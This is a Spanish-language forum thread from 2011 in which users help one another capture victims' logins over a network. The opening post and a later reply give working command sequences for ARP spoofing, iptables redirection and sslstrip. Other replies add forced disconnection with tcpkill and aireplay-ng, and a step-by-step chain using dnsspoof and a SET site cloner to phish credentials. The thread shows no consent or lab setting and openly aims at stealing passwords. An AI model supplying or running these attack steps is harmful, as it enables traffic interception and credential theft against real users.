sslstrip & arpspoof (cerrar conexión)

Iniciado por rigg, 13 Noviembre 2011, 20:21 PM

0 Miembros y 3 Visitantes están viendo este tema.

rigg

Hola a todos, aunque llevo tiempo siguiendo este foro hoy he decidido poner en un hilo una cuestión que me trae de cabeza.

Llevo tiempo usando sslstrip para monitorizar las conexiones SSL y junto con arpspoof pues perfecto de la siguiente manera:

echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
arpspoof -i wlan0 -t 192.168.1.100 192.168.1.1
python sslstrip.py -l 8080


Después miro el archivo.log de sslstrip y listo ahí aparecen los usuarios y contraseñas, pero con un problema. Aparecen, si no tiene iniciada la sesión en la página. Si ya ha iniciado la sesión me aparecen caracteres raros de "id" (secuencia de números).

¿Como puedo obligarle a cerrar la sesión para que tenga que logearse de nuevo?. Con ettercap lo he hecho pero el problema es que ettercap no funciona nada bien con el sslstrip en backtrak. Me da el famoso error "send l3 error".

Gracias a todos.


adastra

Si, te salen caracteres "raros" porque el trafico viaja cifrado y SSLStrip te vale para convertir HTTPS por HTTP en el proceso de autenticación, solamente para eso te podria valer. Si quieres cerrar la sesión del usuario, (suponiendo que se encuentre en una red inalambrica) podrias utilizar aireplay-ng para enviar paquetes de DeAuthentication para interrumpir su conexión con el AP y obligarle a volver a conectarse (y posteriormente a volver a iniciar sesión). De momento es lo que se me ocurre...  :)

adastra

Bueno, se me olvidaba, ya que estas utilizando dsniff, puedes jugar un poco tambien con otras utilidades incluidas como por ejemplo tcpnice y tcpkill, de esa forma podras "matar" la conexión del usuario y el sitio web con el que interactua, obligandole de esta a autenticarse nuevamente...

rigg

Muchas gracias adastra

voy a probar a ver que tal. El problema es que ettercap me da muchisimos problemas y no puedo utilizarlo. La verdad es que esa opción en ettercap era muy facil, pero no me ha dado por buscar lo que me acabas de comentar...

voy a probar y te digo, a ver que tal funciona.

Gracias!!!!!!!!!!

d00ze13

Otra opcion, puede ser acceder al router y resetearlo, aunque no se si se le quedara guardada la cookie con la sesion, en ese intervalo de tiempo tan pequeño.

rigg

Pues he probado la opción "tcpkill host <ip victima>" y efectivamente se queda sin conexión, pero cuando lo paro y actualizo la página se mantiene. Ejemplo: dentro del correo de hotmail. Ejecuto y no se puede cargar la página pero cuando pulso Crtl+C y se detiene, actualizo en el cliente y sigue dentro del correo, por tanto la sesión se mantiene.

No es una opción válida. Lo ideal sería un comando que cuando lo ejecutara al actualizar o navegar por la página le cerrara la sesión y por tanto le redirigiera a la página de login para forzarlo a introducir los datos, si no, como monitorices una conexion ya logueada sólo ves "id" y secuenciaans de numeros.

Probare reseteando el router.

Thanks

adastra

Reseteando el router tampoco conseguirás nada...
La razón? la sesión se mantiene porque el servicio al que esta conectado el usuario es una cuenta de correo como gmail, o algo parecido, que para mantener la sesión almacena una cookie en el navegador del usuario, a efectos prácticos, resetear el router o matar la conexión es exactamente lo mismo. Por otro lado, casi todas las cookies son temporales, así que tienes dos opciones, dejar el tcpkill hasta que la cookie de la sesión expire (lo que te puede llevar tiempo), o la otra opción es como te dije anteriormente, trastear un poco más con dsniff, existe otra utilidad en ese paquete que se llama dnsspoof que es justo para controlar la navegación de un usuario cuando solicita un dominio, por ejemplo "gmail.com", y en lugar de resolver la dirección IP real, resuelve una que el atacante indica, esa seria la solución que realmente te vendría bien. Sin embargo, a donde redirigirlo? para ello yo utilizaría SET y clonaría el sitio web al que trata de conectarse la víctima, con eso ya tienes el vector de ataque completo! te lo resumo en los siguientes pasos:

1. Envenenas como lo has hecho hasta el momento.
2. Inicias el servicio de DNSSPOOF apuntando a una dirección que controlarás con SET.
3. Inicias el "Site Cloner" de SET con un Java Attack por certificado.
4. Capturas los datos ingresados por la victima (login y clave)

Lo siento si ahora he excluido SSLStrip del proceso, pero en esta ocasión no te será útil para lo que quieres hacer, si una conexión SSL/TLS ya ha sido establecida, SSLStrip es inutilizado completamente, ya no servirá absolutamente para nada, lo mejor es lo que te he comentado anteriormente.
Para mayor información sobre SET, puedes leer esta serie de tutoriales:

http://thehackerway.com/2011/09/12/conceptos-basicos-y-avanzados-de-set-social-engineer-toolkit-%e2%80%93-parte-i/

http://thehackerway.com/2011/09/14/conceptos-basicos-y-avanzados-de-set-social-engineer-toolkit-%e2%80%93-spear-phishing-%e2%80%93-parte-ii/

http://thehackerway.com/2011/09/16/conceptos-basicos-y-avanzados-de-set-social-engineer-toolkit-%e2%80%93-web-attack-vectors-%e2%80%93-parte-iii/

http://thehackerway.com/2011/09/19/conceptos-basicos-y-avanzados-de-set-social-engineer-toolkit-%e2%80%93-web-attack-vectors-%e2%80%93-parte-iv/

Son los introductorios, si sigues las siguientes partes y profundizaras aun más en su uso. Con los pasos que te he indicado, creo que conseguirás tu objetivo, te lo digo porque ya lo he probado en el pasado variassss veces y nunca me ha fallado...
Un Saludo.

zosemu

echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
arpspoof -i wlan0 -t 192.168.1.100 192.168.1.1
python sslstrip.py -p -k -w /home/tu_user/algun_archivo.log -l 8080

Para eso sirve el parámetro -k para cerrar las conexiones existentes el -p es para capturar solo el contenido post.

Otra alternativa es verificar a que dirección IP se encuentra conectado ejecuta el wireshark con filtro para esa IP, luego que detectes el sitio a donde tiene la conexión SSL usas:
tcpkill -i wlan0 host ip_del_sitio

Ahora esperas un poco en lo que se cae su conexión y listo en unos segundos, al usuario se le cae la conexión, cierra el navegador, vuelve a abrirlo y habrás ganado.

rigg

Muchas gracias por vuestro interes.
Voy a leerme la información que me has pasado adastra y de ese modo hacer pruebas con DNSSPOOF. Gracias porque además estoy aprendiendo bastante con todo ello.

Esta tarde pruebo zosemu y os comento. No se si resultará.

Os tengo informados.

rigg

#9
Pues prueba realizada pero sin exito.

Al ejecutar python sslstrip -p -k -w micaptura.log -l 10000 efectivamente. Se queda sin conexión. Pero totalmente. No navega, por tanto tengo que cortar todos los procesos. Hasta arpspoof para que vuelva a terner internet.

Con dnsspoof no he hecho en profundidad las pruebas pero básicamente es redirigir a otra dirección. Supongo que a esa dirección estará clonada por mi, pero el problema es el certificado. Se nota un montón (al menos con ettercap se notaba) ya que aparece el mensaje típico lo que pega un cantazo bestial.

Voy a seguir bicheando a ver que encuentro para poder cerrar una sesión. Me basta con hacerle que la cookie caduque. A ver que encuentro y os sigo comentando.

Ah, me vendría muy bien poder monitorizar no sólo un cliente, si no toda la red. Podría simplificarme la cosa pero ahora mismo estoy que no me entero por las pruebas. Si se os ocurre como....
Thanks